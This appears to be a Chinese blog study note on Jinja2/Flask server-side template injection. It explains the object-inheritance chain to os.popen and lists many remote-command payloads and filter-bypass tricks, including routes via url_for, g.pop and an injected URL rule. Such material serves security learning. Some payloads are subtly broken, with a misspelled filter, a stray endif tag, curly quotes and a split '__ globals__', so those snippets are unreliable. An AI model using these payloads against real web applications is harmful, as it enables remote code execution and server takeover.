首页 > 其他分享 >SSTI

SSTI

时间:2024-06-01 21:14:10浏览次数:8  
标签:__ .__ globals popen __.__ SSTI class

SSTI

模板引擎:动态数据和静态模板结合产生的输出工具

ssti:是服务器端的模板注入漏洞

攻击者 将恶意代码输入到模板 服务器在执行时未对恶意代码进行处理 就输出执行

将字符串 当作模板执行

ssti注入就是使其渲染我们想要执行的的字符串

image-20240601165234732

为什么要用{}

{{}}在jinja2中作为变量包裹标识符,也就是被{{}}包裹的内容会被当作变量解析出来

所以{{恶意代码}} 实现类似SQL注入

image-20240601104448809

魔术方法

__class__   :返回类型所属的对象
__mro__     :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类

__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
read():读取打开了的文件的内容

继承关系

image-20240601123101601

创建四个类 依次继承

在创建一个C的对象c,用__class__找到他当前的类

image-20240601105943388

返回类为C 接着找父类

image-20240601110032154

返回为B 接着找父类 直到父类为object

image-20240601110203692

或者直接一步到位使用__mro__

image-20240601110315274

__mro__方法以数组的形式返回 可以传入’标‘ 得到想要的数组

image-20240601110346404

image-20240601110359881

得到object之后 查看object类下的所有的子类

image-20240601110719068

我们最终的目的是为执行命令获取字段 所以要找能执行命令的函数,如

popenevalsystem()函数或者能打开文件的函数open

一般情况下会用popen函数 因为system()函数没回显,popen函数有回显

所以 需要知道这些子类里面哪个有能执行命令的函数

<wrap_close>子类就是其中之一

image-20240601114623672

接着初始化 初始化相当于 创建一个新的实例

然后用__globals__方法将获取到的方法以字典的形式返回

image-20240601115537988

接下来 可以用popen函数执行命令 执行一下whoami

image-20240601115844137

image-20240601115905956

绕过

{{"".__class__}}
绕过.

[]代替.

{{""['__class__']}}

用attr()过滤器绕过

{{""|sttr('__class__')}}
绕过_

十六进制编码

{{“”["\x5f\x5fclass\x5f\x5f"]}}
绕过[]

__getitem__ 魔术方法

__subclasses()__.__getitem__(133)
绕过{

{%print(xxxxxxxxxxxx)%}

{%print(“”.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read())%}

for循环

{%for i in ''.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
绕过'"

采用 request.args.a

{{url_for.__globals__['__builtins__']}} 			等于
{{url_for.__globals__[request.args.a]}}&a=__builtins__
绕过args

当args被过滤掉时,采用request.cookies.arequest.values.a

{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'

image-20240601151417812

image-20240601151506771

绕过数字

构造的数字

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}}   #117

10个a*12个a-3个a=117个a

构造paylaod

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}
绕过关键字

拼接绕过 如 __class__

{{dict(__cla=a,s=b)|join}}

语句

From Tuple to RCE
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}

{%for(x)in().__class__.__base__.__subclasses__()%}for循环 遍历object的每一个子类

{%if'war'in(x).__name__ %}判断子类名称中是否含有 war

条件为真就执行以下代码

{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}, 实例化找到的子类 (x()),访问该实例的模块属性,然后访问内置模块 __builtins__..

From Flask g to RCE
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

g全局变量,pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

大概就是 返回全局变量里的最后一个值

From url_for to RCE
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

url_for 用于构建指定函数的url

From
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

image-20240601194423068

标签:__,.__,globals,popen,__.__,SSTI,class
From: https://www.cnblogs.com/Yolololo/p/18226398

相关文章

  • SSTI
    SSTI模板引擎:动态数据和静态模板结合产生的输出工具ssti:是服务器端的模板注入漏洞攻击者将恶意代码输入到模板服务器在执行时未对恶意代码进行处理就输出执行将字符串当作模板执行ssti注入就是使其渲染我们想要执行的的字符串为什么要用{}{{}}在jinja2中作为变量包裹......
  • BUUCTF SSTI模板注入
    BUUCTFSSTI模板注入基础原理SSTI模板注入(Server-SideTemplateInjection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的一般特征函数:render_template_stringSSTI_flask_labs可以看到数据被解析了,那么怎么注......
  • [SCTF 2021]loginme go语言ssti漏洞
    今天做个新颖的题,go中的ssti问题。进来点击访问/admin/index?id=1发现空白,只有admin能看,看看源码main.go。点击查看代码packagemainimport( "html/template" "loginme/middleware" "loginme/route" "loginme/templates" "github.com/gin-gonic/gin&quo......
  • CMake Professtional-2 Variables
    set(varNamevalue...[PARENT_SCOPE])cmake中所有的值都是string,如果同时添加多个值,会自动添加;set(myVarabc)#myVar="a;b;c"set(myVara;b;c)#myVar="a;b;c"set(myVar"abc")#myVar="abc"set(myVarab;c)#myVar=&q......
  • CMake Professtional-1 Introduction
    thestageofcmakeGeneratingProjectFileschooseaprojectgenerator:Ninja,UnixMakefiles,MSYSMakefilesmkdirbuildcdbuildcmake-G"UnixMakefiles"../source#use--helpcandisplaythevariablecmake-G-hbuildingtoolcmake--bui......
  • 【 攻防实操系列+漏洞复现 】-- Jinja2 SSTI模板注入
    框架:python---Flask描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2漏洞复现:Jinja2SSTI模板注入使用vulhub靶场,启动环境先进入容器看一下web服务的代码,得出参数值为name,且可控判断是否存在ssti漏洞,输入:?name={{1*9}},......
  • SSTI.
    SSTI晚上学长讲了ssti我好像要长脑子了..源于一道ssti的签到题sstissti:服务器端模板注入漏洞{为什么利用{{}}来执行ssti语句a=''.__class__.__base__.__subclasses__()‘’一个实例例如print('i')//打印字符串__class__类的内置属性,返回该实例的类型__base__......
  • flask之ssti模版注入从零到入门
    前言在学习ssti模版注入的时候,发现国内文章对于都是基于python基础之上的,对于基础代码讲的较少,而对于一些从事安全的新手师傅们,可能python只停留在写脚本上,所以上手的时候可能有点难度,毕竟不是搞pythonflask开发。就本人学习ssti而言,入手有点难度,所以特写此文,对于一些不需要深......
  • Thymeleaf SSTI模板注入分析
    环境搭建先搭建一个SpringMVC项目,参考这篇文章,或者参考我以前的spring内存马分析那篇文章https://blog.csdn.net/weixin_65287123/article/details/136648903SpringMVC路由简单写个servletpackagecom.example.controller;importorg.springframework.stereotype.Controlle......
  • WEB专项-文件上传&命令执行&SSTI模板注入&其他
    文件上传一、Upload11.进入靶场,是一个文件上传功能的页面,尝试上传一个一句话木马去getshell。2.发现提示是notimage,那就通过burp抓包进行类型的修改。3.但却提示我这个是php代码,看来对文件的后缀名进行了过滤,那就将其后缀名改为jpg。4.又提示我文件中包含<?,那接下来......